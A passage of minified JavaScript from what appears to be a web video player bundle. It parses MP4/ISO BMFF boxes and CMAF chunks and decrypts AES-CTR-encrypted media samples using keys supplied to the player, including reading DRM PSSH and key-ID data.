n=this._raw.getUint32(this._cursor.offset-this._raw.byteOffset),t=this._raw.getUint32(this._cursor.offset-this._raw.byteOffset+4);return n*Math.pow(2,32)+t};t.ISOBox.prototype._readInt64=function(){var n=this._raw.getInt32(this._cursor.offset-this._raw.byteOffset),t=this._raw.getInt32(this._cursor.offset-this._raw.byteOffset+4);return n*Math.pow(2,32)+t};t.ISOBox.prototype._readInt=function(n){var t=null;switch(n){case 8:t=this._raw.getInt8(this._cursor.offset-this._raw.byteOffset);break;case 16:t=this._raw.getInt16(this._cursor.offset-this._raw.byteOffset);break;case 32:t=this._raw.getInt32(this._cursor.offset-this._raw.byteOffset);break;case 64:t=this._readInt64()}return this._cursor.offset+=n>>3,t};t.ISOBox.prototype._readUint=function(n){var t=null;switch(n){case 8:t=this._raw.getUint8(this._cursor.offset-this._raw.byteOffset);break;case 16:t=this._raw.getUint16(this._cursor.offset-this._raw.byteOffset);break;case 24:t=(this._raw.getUint16(this._cursor.offset-this._raw.byteOffset)<<8)+this._raw.getUint8(this._cursor.offset-this._raw.byteOffset+2);break;case 32:t=this._raw.getUint32(this._cursor.offset-this._raw.byteOffset);break;case 64:t=this._readUint64()}return this._cursor.offset+=n>>3,t};t.ISOBox.prototype._readUintArray=function(n,t){for(var r=new Array(t),i=0;i<t;++i)r[i]=this._readUint(n);return r};t.ISOBox.prototype._readFP=function(n){return this._readInt(2*n)/Math.pow(2,n)};t.ISOBox.prototype._readString=function(n){for(var r,t="",i=0;i<n;i++)r=this._readUint(8),t+=String.fromCharCode(r);return t};t.ISOBox.prototype._readHex=function(n){for(var r,t=[],i=0;i<n;i++)r=this._readUint(8),t.push((r>>>4).toString(16)),t.push((15&r).toString(16));return t.join("")};t.ISOBox.prototype._readUUID=function(){return this._readUintArray(8,16)};t.ISOBox.prototype._readTerminatedString=function(){for(var t,n="";;){if(t=this._readUint(8),0==t)break;n+=String.fromCharCode(t)}return n};t.ISOBox.prototype._readTemplate=function(n){return this._readUint(n/2)+this._readUint(n/2)/Math.pow(2,n/2)};t.ISOBox.prototype._parseBox=function(){if(this._cursor.offset=this._offset,this._offset+8>this._raw.buffer.byteLength)this._root._incomplete=!0;else{switch(this.size=this._readUint(32),this.type=this._readString(4),1===this.size&&(this.largesize=this._readUint(64)),"uuid"===this.type&&(this.usertype=this._readUUID()),this.size){case 0:this._raw=new DataView(this._raw.buffer,this._offset,this._raw.byteLength-this._cursor.offset);break;case 1:this._offset+this.size>this._raw.buffer.byteLength?(this._incomplete=!0,this._root._incomplete=!0):this._raw=new DataView(this._raw.buffer,this._offset,this.largesize);break;default:this._offset+this.size>this._raw.buffer.byteLength?(this._incomplete=!0,this._root._incomplete=!0):this._raw=new DataView(this._raw.buffer,this._offset,this.size)}!this._incomplete&&this._boxParsers[this.type]&&this._boxParsers[this.type].call(this)}};t.ISOBox.prototype._parseFullBox=function(){this.version=this._readUint(8);this.flags=this._readUint(24)};t.ISOBox.prototype._createDataView=function(){return new DataView(this._raw.buffer,this._cursor.offset,this._raw.byteLength-(this._cursor.offset-this._offset))};t.ISOBox.prototype._boxParsers={};r(["moov","trak","tref","mdia","minf","stbl","edts","dinf","sinf","mvex","moof","traf","mfra","udta","meco","strk","vttc","schi"],function(){for(this.boxes=[];this._cursor.offset-this._raw.byteOffset<this._raw.byteLength;)this.boxes.push(t.ISOBox.parse(this))});t.ISOBox.prototype._boxParsers.elst=function(){var i,n;for(this._parseFullBox(),this.entry_count=this._readUint(32),this.entries=[],i=1;i<=this.entry_count;i++)n=new t.ISOBox,1===this.version?(n.segment_duration=this._readUint(64),n.media_time=this._readInt(64)):(n.segment_duration=this._readUint(32),n.media_time=this._readInt(32)),n.media_rate_integer=this._readInt(16),n.media_rate_fraction=this._readInt(16),this.entries.push(n)};t.ISOBox.prototype._boxParsers.emsg=function(){this._parseFullBox();0===this.version?(this.scheme_id_uri=this._readTerminatedString(),this.value=this._readTerminatedString(),this.timescale=this._readUint(32),this.presentation_time_delta=this._readUint(32),this.event_duration=this._readUint(32),this.id=this._readUint(32)):(this.timescale=this._readUint(32),this.presentation_time=this._readUint(64),this.event_duration=this._readUint(32),this.id=this._readUint(32),this.scheme_id_uri=this._readTerminatedString(),this.value=this._readTerminatedString());this.message_data=this._createDataView()};r(["free","mdat"],function(){this.data=this._createDataView()});r(["ftyp","styp"],function(){for(this.major_brand=this._readString(4),this.minor_versions=this._readUint(32),this.compatible_brands=[];this._cursor.offset-this._raw.byteOffset<this._raw.byteLength;)this.compatible_brands.push(this._readString(4))});t.ISOBox.prototype._boxParsers.hdlr=function(){this._parseFullBox();this.pre_defined=this._readUint(32);this.handler_type=this._readString(4);this.reserved=[this._readUint(32),this._readUint(32),this._readUint(32)];this.name=this._readTerminatedString()};t.ISOBox.prototype._boxParsers.mdhd=function(){this._parseFullBox();1==this.version?(this.creation_time=this._readUint(64),this.modification_time=this._readUint(64),this.timescale=this._readUint(32),this.duration=this._readUint(64)):(this.creation_time=this._readUint(32),this.modification_time=this._readUint(32),this.timescale=this._readUint(32),this.duration=this._readUint(32));var n=this._readUint(16);this.pad=n>>15;this.language=String.fromCharCode(96+(n>>10&31),96+(n>>5&31),96+(31&n));this.pre_defined=this._readUint(16)};t.ISOBox.prototype._boxParsers.mfhd=function(){this._parseFullBox();this.sequence_number=this._readUint(32)};t.ISOBox.prototype._boxParsers.mvhd=function(){this._parseFullBox();1===this.version?(this.creation_time=this._readUint(64),this.modification_time=this._readUint(64),this.timescale=this._readUint(32),this.duration=this._readUint(64)):(this.creation_time=this._readUint(32),this.modification_time=this._readUint(32),this.timescale=this._readUint(32),this.duration=this._readUint(32));this.rate=this._readTemplate(32);this.volume=this._readTemplate(16);this.reserved1=this._readUint(16);this.reserved2=[this._readUint(32),this._readUint(32)];this.matrix=[];for(var n=0;n<9;n++)this.matrix.push(this._readTemplate(32));for(this.pre_defined=[],n=0;n<6;n++)this.pre_defined.push(this._readUint(32));this.next_track_ID=this._readUint(32)};t.ISOBox.prototype._boxParsers.sidx=function(){var i,n,r,t;for(this._parseFullBox(),this.reference_ID=this._readUint(32),this.timescale=this._readUint(32),0===this.version?(this.earliest_presentation_time=this._readUint(32),this.first_offset=this._readUint(32)):(this.earliest_presentation_time=this._readUint(64),this.first_offset=this._readUint(64)),this.reserved=this._readUint(16),this.reference_count=this._readUint(16),this.references=[],i=0;i<this.reference_count;i++)n={},r=this._readUint(32),n.reference_type=r>>31&1,n.referenced_size=2147483647&r,n.subsegment_duration=this._readUint(32),t=this._readUint(32),n.starts_with_SAP=t>>31&1,n.SAP_type=t>>28&7,n.SAP_delta_time=268435455&t,this.references.push(n)};t.ISOBox.prototype._boxParsers.ssix=function(){var i,n,r,t;for(this._parseFullBox(),this.subsegment_count=this._readUint(32),this.subsegments=[],i=0;i<this.subsegment_count;i++){for(n={},n.ranges_count=this._readUint(32),n.ranges=[],r=0;r<n.ranges_count;r++)t={},t.level=this._readUint(8),t.range_size=this._readUint(24),n.ranges.push(t);this.subsegments.push(n)}};t.ISOBox.prototype._boxParsers.tfdt=function(){this._parseFullBox();this.baseMediaDecodeTime=1===this.version?this._readUint(64):this._readUint(32)};t.ISOBox.prototype._boxParsers.tfhd=function(){this._parseFullBox();this.track_ID=this._readUint(32);1&this.flags?(this.base_data_offset_present=!0,this.base_data_offset=this._readUint(64)):131072&this.flags&&(this.default_base_is_moof=!0);2&this.flags&&(this.sample_description_offset=this._readUint(32));8&this.flags&&(this.default_sample_duration=this._readUint(32));16&this.flags&&(this.default_sample_size=this._readUint(32));32&this.flags&&(this.default_sample_flags=this._readUint(32))};t.ISOBox.prototype._boxParsers.tkhd=function(){this._parseFullBox();1===this.version?(this.creation_time=this._readUint(64),this.modification_time=this._readUint(64),this.track_ID=this._readUint(32),this.reserved1=this._readUint(32),this.duration=this._readUint(64)):(this.creation_time=this._readUint(32),this.modification_time=this._readUint(32),this.track_ID=this._readUint(32),this.reserved1=this._readUint(32),this.duration=this._readUint(32));this.reserved2=[this._readUint(32),this._readUint(32)];this.layer=this._readUint(16);this.alternate_group=this._readUint(16);this.volume=this._readTemplate(16);this.reserved3=this._readUint(16);this.matrix=[];for(var n=0;n<9;n++)this.matrix.push(this._readTemplate(32));this.width=this._readTemplate(32);this.height=this._readTemplate(32)};t.ISOBox.prototype._boxParsers.trun=function(){var t,n;for(this._parseFullBox(),this.sample_count=this._readUint(32),1&this.flags&&(this.data_offset_present=!0,this.data_offset=this._readInt(32)),4&this.flags&&(this.first_sample_flags=this._readUint(32)),this.samples=[],t=0;t<this.sample_count;t++)n={},256&this.flags&&(n.sample_duration=this._readUint(32)),512&this.flags&&(n.sample_size=this._readUint(32)),1024&this.flags&&(n.sample_flags=this._readUint(32)),2048&this.flags&&(n.sample_composition_time_offset=0==this.version?this._readUint(32):this._readInt(32)),this.samples.push(n)};t.ISOBox.prototype._boxParsers.trex=function(){this._parseFullBox();this.track_ID=this._readUint(32);this.default_sample_description_index=this._readUint(32);this.default_sample_duration=this._readUint(32);this.default_sample_size=this._readUint(32);this.default_sample_flags=this._readUint(32)};t.ISOBox.prototype._boxParsers.stsd=function(){for(this._parseFullBox(),this.entry_count=this._readUint(32),this.entries=[];this._cursor.offset-this._raw.byteOffset<this._raw.byteLength;)this.entries.push(t.ISOBox.parse(this))};t.ISOBox.prototype._boxParsers.encv=function(){for(this._readHex(6),this.data_reference_index=this._readUint(16),this._readUint(16),this._readUint(16),this._readUint(32),this._readUint(32),this._readUint(32),this.width=this._readUint(16),this.height=this._readUint(16),this.horizresolution=this._readTemplate(32),this.vertresolution=this._readTemplate(32),this._readUint(32),this.frame_count=this._readUint(16),this._readUint(8),this.compressor_name=this._readString(4),this.depth=this._readUint(16),this._readUint(16),this._readHex(27),this.boxes=[];this._cursor.offset-this._raw.byteOffset<this._raw.byteLength;)this.boxes.push(t.ISOBox.parse(this))};r(["enca","mp4a"],function(){for(this._readHex(6),this.data_reference_index=this._readUint(16),this._readUint(32),this._readUint(32),this.channel_count=this._readUint(16),this.sample_size=this._readUint(16),this._readUint(16),this._readUint(16),this.sample_rate=this._readUint(32)>>>16,this.boxes=[];this._cursor.offset-this._raw.byteOffset<this._raw.byteLength;)this.boxes.push(t.ISOBox.parse(this))});r(["avc1","hvc1","hev1"],function(){var i,n,r;for(this._readUint(32),this._readUint(16),this.data_reference_index=this._readUint(16),this.version=this._readUint(16),this.revision_level=this._readUint(16),this.vendor=this._readUint(32),this.temporal_quality=this._readUint(32),this.spatial_quality=this._readUint(32),this.width=this._readUint(16),this.height=this._readUint(16),this.horizontal_resolution=this._readTemplate(32),this.vertical_resolution=this._readTemplate(32),this.data_size=this._readUint(32),this.frame_count=this._readUint(16),i=this._readUint(8),this.compressor_name="",n=0;n<31;n++)r=this._readUint(8),n<i&&(this.compressor_name+=String.fromCharCode(r));for(this.depth=this._readUint(16),this._readInt(16),this.boxes=[];this._cursor.offset-this._raw.byteOffset<this._raw.byteLength;)this.boxes.push(t.ISOBox.parse(this))});t.ISOBox.prototype._boxParsers.avcC=function(){var t,n;for(this.configuration_version=this._readUint(8),this.avc_profile_indication=this._readUint(8),this.profile_compatibility=this._readUint(8),this.avc_level_indication=this._readUint(8),t=this._readUint(8),this.complete_representation=t>>>7&1,this.length_size_minus_one=3&t,this.num_sps=31&this._readUint(8),this.sps=[],n=0;n<this.num_sps;++n)this.sps.push(this._readUintArray(8,this._readUint(16)));for(this.num_pps=31&this._readUint(8),this.pps=[],n=0;n<this.num_pps;++n)this.pps.push(this._readUintArray(8,this._readUint(16)))};t.ISOBox.prototype._boxParsers.hvcC=function(){var n,t;for(this.configurationVersion=this._readUint(8),n=this._readUint(8),this.general_profile_space=n>>>6,this.general_tier_flag=n>>>5&1,this.general_profile_idc=31&n,this.general_profile_compatibility_flags=this._readUint(32),this.general_constraint_indicator_flags_bytes=[],t=0;t<6;t++)this.general_constraint_indicator_flags_bytes[t]=this._readUint(8);this.general_level_idc=this._readUint(8);this.min_spatial_segmentation_idc=4095&this._readUint(16);this.parallelismType=3&this._readUint(8);this.chroma_format_idc=3&this._readUint(8);this.bit_depth_luma_minus8=7&this._readUint(8);this.bit_depth_chroma_minus8=7&this._readUint(8);this.avgFrameRate=this._readUint(16);n=this._readUint(8);this.constantFrameRate=n>>>6;this.numTemporalLayers=n>>>3&7;this.temporalIdNested=n>>>2&1;this.lengthSizeMinusOne=3&n;this.numOfArrays=this._readUint(8)};t.ISOBox.prototype._boxParsers.esds=function(){this._parseFullBox();this._readUint(16);this.esId=this._readUint(16);this.streamPriority=31&this._readUint(8);this._readUint(16);this.decoderConfig={};this.decoderConfig.objectProfileIndication=this._readUint(8);this.decoderConfig.streamType=this._readUint(8)>>>2&63;this.decoderConfig.bufferSize=this._readUint(24);this.decoderConfig.maxBitrate=this._readUint(32);this.decoderConfig.avgBitrate=this._readUint(32);this.decoderConfig.decoderConfigDescriptor={};this.decoderConfig.decoderConfigDescriptor.tag=this._readUint(8);this.decoderConfig.decoderConfigDescriptor.length=this._readUint(8);var t=this._readUint(8),i=this._readUint(8),n=this.decoderConfig.decoderConfigDescriptor;n.audioObjectType=t>>>3&31;n.samplingFrequencyIndex=(7&t)<<1|i>>>7&1;n.channelConfiguration=i>>>3&15};t.ISOBox.prototype._boxParsers.tenc=function(){this._parseFullBox();this.default_is_encrypted=1===this._readUint(24);this.default_iv_size=this._readUint(8);this.default_kid=this._readHex(16)};t.ISOBox.prototype._boxParsers.senc=function(){var n=this;this._parseFullBox();this.sample_count=this._readUint(32);this.samples=Array.apply(null,Array(this.sample_count)).map(function(){return function(n){if(u(n,n._root.options.iv_size)){var t={iv:n._readHex(n._root.options.iv_size)};return n.flags&&(t=s(n,t)),t}n.samples=[]}(n)})};t.ISOBox.prototype._boxParsers.frma=function(){this.codingname=this._readString(4)};t.ISOBox.prototype._boxParsers.schm=function(){this._parseFullBox();this.scheme_type=this._readString(4);this.scheme_version=this._readUint(32);1&this.flags&&(this.scheme_uri=this._readUint(8))};t.ISOBox.prototype._boxParsers.saiz=function(){if(this._parseFullBox(),1&this.flags&&(this.aux_info_type=this._readUint(32),this.aux_info_type_parameter=this._readUint(32)),this.default_sample_info_size=this._readUint(8),this.sample_count=this._readUint(32),0===this.default_sample_info_size){this.sample_info_size=[];for(var n=0;n<this.sample_count;++n)this.sample_info_size.push(this._readUint(8))}};t.ISOBox.prototype._boxParsers.pssh=function(){if(this._parseFullBox(),this.system_id=this._readUUID(),this.version>0){this.kid_count=this._readUint(32);this.kids=[];for(var n=0;n<this.kid_count;++n)this.kids.push(this._readString(16))}this.data_size=this._readUint(32);this.data=new DataView(this._raw.buffer,this._cursor.offset,this.data_size)};t.ISOBox.prototype._boxParsers.prft=function(){this._parseFullBox();this.reference_track_ID=this._readUint(32);this.ntp_timestamp_seconds=this._readUint(32);this.ntp_timestamp_seconds_fraction=this._readUint(32);this.media_time=0===this.version?this._readUint(32):this._readUint(64)}},86480:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.CmafChunkParser=void 0;var r=i(81361),u=function(){function n(n){this.context=n;this.buffer=new ArrayBuffer(0)}return n.parseIsoBoxType=function(n,t){return String.fromCharCode(n[t])+String.fromCharCode(n[t+1])+String.fromCharCode(n[t+2])+String.fromCharCode(n[t+3])},n.prototype.appendData=function(n){this.buffer=r.ArrayHelper.concatBuffers(this.buffer,n)},n.prototype.getCompleteChunks=function(){var t=n.findCompleteCmafChunks(this.buffer),i,r;return 0===t.length?null:(this.context.logger.insane("Found ".concat(t.length," CMAF chunks")),i=t[t.length-1].end,r=this.buffer.slice(0,i),this.buffer=this.buffer.slice(i),r)},n.findCompleteCmafChunks=function(t){var r,e;if(!t||t.byteLength<8)return[];for(var h=new DataView(t),o=[],u=["moof","mdat"],s=0,f=[],i=0;i+8<t.byteLength;){if(r=h.getUint32(i),e=n.parseIsoBoxType(new Uint8Array(t),i+4),0===r)break;i+r<=t.byteLength&&(f.push(e),e===u[0]&&u.shift(),0===u.length&&(o.push({start:s,end:i+r,boxes:f}),u=["moof","mdat"],s=i+r+1,f=[]));i+=r}return o},n.prototype.reset=function(){this.buffer.byteLength>0&&this.context.logger.debug("CMAF chunk parser discarded ".concat(this.buffer.byteLength," bytes"));this.buffer=new ArrayBuffer(0)},n}();t.CmafChunkParser=u},36004:function(n,t,i){function e(n,t,i,r){var u=t.slice(i,i+r);return n.decrypt(u).then(function(n){new Uint8Array(t).set(new Uint8Array(n),i)})}function r(n,t){var r,u;if(!t)return n;for(var f=new Uint8Array(n),e=new DataView(n),i=t._parent;i&&i.type;)e.setUint32(i._offset,i.size-t.size),i.size-=t.size,i=i._parent;return r=t._root.get("moof.traf.trun"),r&&(e.setInt32(r._offset+16,r.data_offset-t.size),r.data_offset-=t.size),u=new Uint8Array(n.byteLength-t.size),u.set(f.subarray(0,t._offset),0),u.set(f.subarray(t._offset+t.size),t._offset),u.buffer}var o;Object.defineProperty(t,"__esModule",{value:!0});t.MP4Decrypter=void 0;var u=i(10045),s=i(81361),f=i(56093),h=i(91520),c=i(16368),l=function(){function n(n,t,i){this.context=n;this.keys=t;this.isDataEncrypted=!1;this.mimeType=i;this.keyIds=[]}return n.prototype.parseInitSegment=function(n){var t=this,l,h;this.isDataEncrypted=!1;for(var i=u.ISOBoxer.parseBuffer(n),e=i._raw.buffer,o=0,c=function(n){var u=[],t=[],i,f,r;for(t.push.apply(t,n.list("moov.pssh")),t.push.apply(t,n.list("moof.pssh")),i=0,f=t;i<f.length;i++)r=f[i],r.kids&&r.kids.length>0&&u.push.apply(u,r.kids);return u}(i);o<c.length;o++)l=c[o],this.storeKeyId(l);return h=i.get("moov.trak.mdia.minf.stbl.stsd").entries[0],h.list("sinf").forEach(function(n){var c=n.get("frma"),a=n.get("schm"),o=n.get("schi.tenc"),u,l;if(c&&o&&a){for(u=0;u<4;++u)i._raw.setUint8(h._offset+4+u,c.codingname.charCodeAt(u));t.defaultIsEncrypted=o.default_is_encrypted;t.defaultIVSize=o.default_iv_size;t.defaultKid=o.default_kid;t.isDataEncrypted=!0;l=s.ArrayHelper.arrayBufferToAsciiString(f.FormatHelper.hexToBytes(t.defaultKid),!0);t.storeKeyId(l)}e=r(e,n)}),Promise.resolve(e)},n.prototype.storeKeyId=function(n){this.keyIds.includes(n)||this.keyIds.push(n)},n.prototype.getKeyIds=function(){return this.keyIds},n.prototype.addKeys=function(n){for(var u=function(n){var t=i.keys.find(function(t){return t.kid===n.kid});t?t.key=n.key:i.keys.push(n)},i=this,t=0,r=n;t<r.length;t++)u(r[t])},n.prototype.getKey=function(){var n,t;if(this.key)return this.key;for(t in this.keys)if(this.keys.hasOwnProperty(t)&&this.keys[t].hasOwnProperty("key")&&this.keys[t].hasOwnProperty("kid")&&this.keys[t].kid===this.defaultKid){n=this.keys[t].key;break}return void 0===n&&(n=this.keys[0].key),this.key="string"==typeof n?f.FormatHelper.hexToBytes(n).buffer:n instanceof Uint8Array?n.buffer:n,this.key},n.prototype.decryptDataSegment=function(n){if(!this.getKey())return this.context.logger.debug("MP4Decrypter.decryptSegment: Error decrypting AES-128 encrypted content"),Promise.reject("Error decrypting AES-128 encrypted content");if(!1===this.isEncrypted())return this.context.logger.debug("MP4Decrypter.decryptSegment: NO ENCRYPTED CONTENT"),Promise.reject("NO ENCRYPTED CONTENT");for(var e=u.ISOBoxer.parseBuffer(n,{iv_size:this.defaultIVSize}),t=new o(e),f=[],i=0;i<t.getSampleCount();++i)f.push(this.decryptSample(n,t,i));return Promise.all(f).then(function(){return function(n,t){return n=r(n,t.uuidBox),n=r(n,t.sencBox),n=r(n,t.saioBox),r(n,t.saizBox)}(n,t)})},n.prototype.decryptSample=function(n,t,i){var u=t.sampleToOffset(i),f=t.sampleToSize(i,1),r=t.getSampleEncodeInfo(i);return r.iv?function(n,t,i,r,u){var s,c=null!==(s=u.subsample_count)&&void 0!==s?s:0,h,f,o;if(c>0&&u.subsamples){for(h=[],f=0;f<c;++f)i+=u.subsamples[f].bytes_of_clear_data,o=u.subsamples[f].bytes_of_encrypted_data,o>0&&(h.push(e(n,t,i,o)),i+=o);return Promise.all(h).then(function(){})}return e(n,t,i,r)}(new(h.ModuleManager.get(c.ModuleName.Crypto).CryptoApi)(this.context,"AES-CTR",this.getKey(),r.iv,this.mimeType,!0),n,u,f,r):(this.context.logger.debug("MP4Decrypter.decryptSegment: NO INITIAL VECTOR PROVIDED"),Promise.reject("NO INITIAL VECTOR PROVIDED"))},n.prototype.isEncrypted=function(){return this.isDataEncrypted},n}();t.MP4Decrypter=l;o=function(){function n(n){var t=n.get("moof.traf");this.trunBox=t.get("trun");this.sencBox=t.get("senc");this.uuidBox=t.get("uuid");this.saizBox=t.get("saiz");this.saioBox=t.get("saio");this.mdatOffset=n.get("mdat")._offset+8}return n.prototype.getSampleSizeTable=function(){return this.trunBox.samples},n.prototype.getSampleCount=function(){return this.getSampleSizeTable().length},n.prototype.getSampleEncodeInfo=function(n){return this.sencBox.samples[n]},n.prototype.sampleToOffset=function(n){return this.mdatOffset+this.sampleToSize(0,n)},n.prototype.sampleToSize=function(n,t){for(var i,f=this.getSampleSizeTable(),u=0,r=n;r<n+t;r++)u+=null!==(i=f[r].sample_size)&&void 0!==i?i:0;return u},n}()},44642:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.MP4EncryptionParser=void 0;var o=i(25550),s=i(28764),h=i(58935),f=i(68039),r=i(97630),e=i(81361),c=i(43485),u=i(56093),l=i(79814),a=function(){function n(n){var t=this;this.FULL_BOX_TYPES={stsd:function(n){var i;switch(n+=r.ISOBMFFConstants.FULL_BOX_VERSION_LENGTH+r.ISOBMFFConstants.FULL_BOX_FLAGS_LENGTH,t.boxTypes[0]){case"vide":i=t.FULL_BOX_TYPES.encv;break;case"soun":i=t.FULL_BOX_TYPES.enca;break;case"hint":case"meta":case"auxv":t.context.logger.debug("handler type "+t.boxTypes[0]+" not yet supported");break;default:t.context.logger.debug("invalid handler type "+t.boxTypes[0])}return i?n+=4:(t.context.logger.debug("unsupported handler type "+t.boxTypes[0]),-1)},encv:function(n){return n+78},enca:function(n){return n+28}};this.context=n}return n.prototype.readBoxSize=function(n,t){var i=n.getUint32(t);return i<=0?null:i},n.prototype.readBoxType=function(n,t){for(var f,u="",i=0;i<r.ISOBMFFConstants.BOX_TYPE_LENGTH;i++)f=n.getInt8(t+i),u+=String.fromCharCode(f);return u},n.prototype.parse=function(n,t){for(var h,c,o,v,l,e,u,i=0,a=t,f=[],s=new DataView(n);i+3<s.byteLength;){if(u=this.readBoxSize(s,i),e=this.readBoxType(s,i+r.ISOBMFFConstants.BOX_SIZE_LENGTH),null===u)return this.context.logger.debug("size is 0, maybe an error, or the largesize should be parsed. Returning with null."),[];e!==a[0]?i+=u:(a.length<=1?f.push(n.slice(i,i+u)):(h=i,(i+=r.ISOBMFFConstants.BOX_SIZE_LENGTH+r.ISOBMFFConstants.BOX_TYPE_LENGTH,this.FULL_BOX_TYPES.hasOwnProperty(e))&&(c=this.FULL_BOX_TYPES[e](i),-1!==c&&(i=c)),o=i-h,o=u-o,v=n.slice(i,i+o),l=this.parse(v,t.slice(1)),l&&(f=f.concat(l)),i=h),i+=u)}return f.length>0?f:[]},n.prototype.parseHandlerType=function(n){for(var e,t,u=this.parse(n,["moov","trak","mdia","hdlr"]),f=[],i=0;i<u.length;i++)e=new DataView(u[i]),t=r.ISOBMFFConstants.BOX_SIZE_LENGTH+r.ISOBMFFConstants.BOX_TYPE_LENGTH,t+=r.ISOBMFFConstants.FULL_BOX_VERSION_LENGTH+r.ISOBMFFConstants.FULL_BOX_FLAGS_LENGTH,t+=4,f.push(this.readBoxType(e,t));return f},n.prototype.extractDefaultKIDFromTenc=function(n){var e,i,f,t;if(!n||!(n instanceof ArrayBuffer)||n.byteLength<1)return null;for(e=new DataView(n),i=r.ISOBMFFConstants.BOX_SIZE_LENGTH+r.ISOBMFFConstants.BOX_TYPE_LENGTH,i+=r.ISOBMFFConstants.FULL_BOX_VERSION_LENGTH+r.ISOBMFFConstants.FULL_BOX_FLAGS_LENGTH+3+1,f="",t=0;t<16;t++)f+=u.FormatHelper.intToHex(e.getUint8(i+t));return f},n.prototype.parseDefaultKIDFromBuffer=function(n,t){var e,i,r,u,f;if(this.boxTypes=this.parseHandlerType(n),e=l.MimeTypeHelper.isVideo(t)?["moov","trak","mdia","minf","stbl","stsd","encv","sinf","schi","tenc"]:["moov","trak","mdia","minf","stbl","stsd","enca","sinf","schi","tenc"],i=this.parse(n,e),!i||i.length<1)return null;for(r=[],u=0;u<i.length;u++)f=this.extractDefaultKIDFromTenc(i[u]),null!==f&&r.push(f);return this.context.logger.debug("default KID extracted: "+r),r},n.prototype.arrayBufferToString=function(n){return e.ArrayHelper.arrayBufferToAsciiString(n,!0)},n.prototype.getDataFromPsshBox=function(n){var l,c,o,a,v;if(!n||!(n instanceof ArrayBuffer)||n.byteLength<3)return this.context.logger.debug("could not parse pssh data from box"),null;this.context.logger.isLevelEnabled(h.LogLevel.DEBUG)&&this.context.logger.debug(this.arrayBufferToString(n));var t={},s=new DataView(n),i=0;for(i+=r.ISOBMFFConstants.BOX_SIZE_LENGTH+r.ISOBMFFConstants.BOX_TYPE_LENGTH,l=s.getUint8(i),i+=r.ISOBMFFConstants.FULL_BOX_VERSION_LENGTH+r.ISOBMFFConstants.FULL_BOX_FLAGS_LENGTH,c="",o=0;o<r.ISOBMFFConstants.PSSH_SYSTEM_ID_LENGTH;o++)c+=u.FormatHelper.intToHex(s.getUint8(i)),i++;if(t.systemIDraw=c,t.systemID="urn:uuid:".concat(u.FormatHelper.beautifyUUID(c)),f.DRMSchemeIDURIs.hasOwnProperty(t.systemID)&&(t.systemName=f.DRMSchemeIDURIs[t.systemID]),l>0)for(a=s.getUint32(i),i+=4,t.kid=[],o=0;o<a;o++)v=e.ArrayHelper.extractHexString(s,i,r.ISOBMFFConstants.PSSH_KID_LEN),i+=r.ISOBMFFConstants.PSSH_KID_LEN,t.kid.push(v);return t.initData=n.slice(0),t.initDataStr=this.arrayBufferToString(t.initData),t},n.prototype.parsePsshBox=function(n){var i,t,u,r,f;if(n.getMimeType().indexOf("mp4")<0||(i=n.getData(),!(i&&i instanceof ArrayBuffer)))return null;if(t=[],t=(t=t.concat(this.parse(i,["moov","pssh"]))).concat(this.parse(i,["moof","pssh"])),n.isEncrypted()&&!t.length&&n.isInit()&&c.isTizen2016())return this.context.eventHandler.fireError(new s.PlayerError(o.ErrorCode.SEGMENT_PSSH_DATA_MISSING)),[];if(u=[],Array.isArray(t))for(r=0;r<t.length;r++)f=this.getDataFromPsshBox(t[r]),null!==f&&u.push(f);return u},n}();t.MP4EncryptionParser=a},40163:function(n,t,i){function p(n,t,i,r){var f,e,o,c=n.get("traf"),s=c.get("tfhd"),u=c.get("trun"),l=null!==(f=s.base_data_offset)&&void 0!==f?f:n._offset,h=null!==(e=u.data_offset)&&void 0!==e?e:0;return(null===(o=null==u?void 0:u.samples)||void 0===o?void 0:o.length)?u.samples.map(function(n){var f=n.sample_size||s.default_sample_size||i.getDefaultSampleSize(),e;return f>u._raw.buffer.byteLength&&(f=u._raw.buffer.byteLength-(l+h),r.warn("trun.samples.sample_size (".concat(n.sample_size,") is bigger than the available buffer length:").concat(u._raw.buffer.byteLength,". Adjusting to remaining bytes:").concat(f))),1!==u.sample_count||n.sample_size||(f=t.size-st(t)),e={duration:n.sample_duration||s.default_sample_duration||i.getDefaultSampleDuration(),size:f,compositionTimeOffset:n.sample_composition_time_offset||0,data:new DataView(u._raw.buffer,l+h,f)},h+=f,e}):[]}function w(n){for(var i=[],t=1;t<n.data.byteLength-2;)0===n.data.getUint8(t)&&0===n.data.getUint8(t+1)&&3===n.data.getUint8(t+2)?(i.push(t+2),t+=3):t++;if(0!==i.length){for(var u=new DataView(new ArrayBuffer(n.data.byteLength-i.length)),f=0,r=0;f<u.byteLength;f++,r++)i[0]===r&&(i.shift(),r++),u.setUint8(f,n.data.getInt8(r));n.data=u}}function st(n){return n.hasOwnProperty("largesize")?a.ISOBMFFConstants.BOX_HEADER_LENGTH_LARGE:a.ISOBMFFConstants.BOX_HEADER_LENGTH_REGULAR}function h(n,t,i){return void 0===t&&(t={}),void 0===i&&(i=f.ISOBoxer),i.parseBuffer(n,t)}function u(n,t,i){if(void 0===t&&(t={}),void 0===i&&(i=f.ISOBoxer),!n.getParsedData()){var r=h(n.getData(),t,i);n.setParsedData(r)}return n.getParsedData()}function ht(n){var i=b(n),t;return i?(t=i.entries.find(function(n){return l(l([],e.VisualSampleEntryTypes.Avc,!0),e.VisualSampleEntryTypes.Hvc,!0).includes(n.type)}),t?e.VisualSampleEntryTypes.Avc.includes(t.type)?function(n){var t=n.get("avcC");return t&&0!==t.sps.length?n.type+"."+s.FormatHelper.bytesToHex(new Uint8Array(t.sps[0].splice(1,3))):null}(t):e.VisualSampleEntryTypes.Hvc.includes(t.type)?it.assembleHvcCodecString(t.type,t.get("hvcC")):null:null):null}function b(n){return n.get("moov.trak.mdia.minf.stbl.stsd")}function k(n,t){return void 0===t&&(t=f.ISOBoxer),u(n,{iv_size:n.getIvSize()||y},t)}function c(n,t){var r=n.getParsedData().get("moov.trak.mdia.mdhd"),i;r&&(i=r.timescale,n.setTimescale(i),t.debug("timescale for ".concat(n.getMimeType()," is ").concat(i)))}function r(n){return n._raw.getUint8(8)}function o(n){return 1===r(n)?n._raw.getUint32(16):0}function ct(n,t,i){return 1===n.version?n.presentation_time/n.timescale-i:t+n.presentation_time_delta/n.timescale}var l=this&&this.__spreadArray||function(n,t,i){if(i||2===arguments.length)for(var u,r=0,f=t.length;r<f;r++)!u&&r in t||(u||(u=Array.prototype.slice.call(t,0,r)),u[r]=t[r]);return 